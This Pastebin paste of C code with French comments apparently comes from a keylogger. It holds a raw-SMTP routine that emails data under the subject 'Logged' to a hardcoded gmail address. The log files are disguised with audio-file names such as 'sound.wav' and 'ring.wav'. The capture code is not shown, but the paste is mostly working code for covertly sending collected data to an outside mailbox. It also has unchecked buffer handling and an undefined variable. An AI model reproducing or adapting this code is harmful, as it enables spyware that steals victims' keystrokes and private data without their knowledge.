Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define cmailserver "gmail-smtp-in.l.google.com"
- #define cemailto "toi@gmail.com"
- #define cemailfrom "destinataire@gmail.com"
- #define LogLength 100
- #define FileName "sound.wav"
- #define SMTPLog "ring.wav"
- #define cemailsubject "Logged"
- int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage)
- {
- SOCKET sockfd;
- WSADATA wsaData;
- FILE *smtpfile;
- #define bufsize 300 // taille du fichier pour l' envoie
- int bytes_sent;
- int err;
- struct hostent *host; /* gethostbyname */
- struct sockaddr_in dest_addr; /* adresse de l'hote */
- char line[1000];
- char *Rec_Buf = (char*) malloc(bufsize+1);
- smtpfile=fopen(SMTPLog,"a+");
- if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
- fputs("WSAStartup failed",smtpfile);
- WSACleanup();
- return -1;
- }
- if ( (host=gethostbyname(mailserver)) == NULL) {
- perror("gethostbyname");
- exit(1);
- }
- memset(&dest_addr,0,sizeof(dest_addr));
- memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
- /* Prepare dest_addr */
- dest_addr.sin_family= host->h_addrtype;
- dest_addr.sin_port= htons(25); /* PORT */
- if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
- perror("socket");
- exit(1);
- }
- /* Connection !*/
- fputs("Connecting....\n",smtpfile);
- if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
- perror("connect");
- exit(1);
- }
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"helo me.somepalace.com\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"MAIL FROM:<");
- strncat(line,emailfrom,strlen(emailfrom));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"RCPT TO:<");
- strncat(line,emailto,strlen(emailto));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"DATA\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- Sleep(waittime);
- strcpy(line,"To:");
- strcat(line,emailto);
- strcat(line,"\n");
- strcat(line,"From:");
- strcat(line,emailfrom);
- strcat(line,"\n");
- strcat(line,"Subject:");
- strcat(line,emailsubject);
- strcat(line,"\n");
- strcat(line,emailmessage);
- strcat(line,"\r\n.\r\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"quit\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- fclose(smtpfile);
- #ifdef WIN32
- closesocket(sockfd);
- WSACleanup();
- #else
- close(sockfd);
- #endif
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement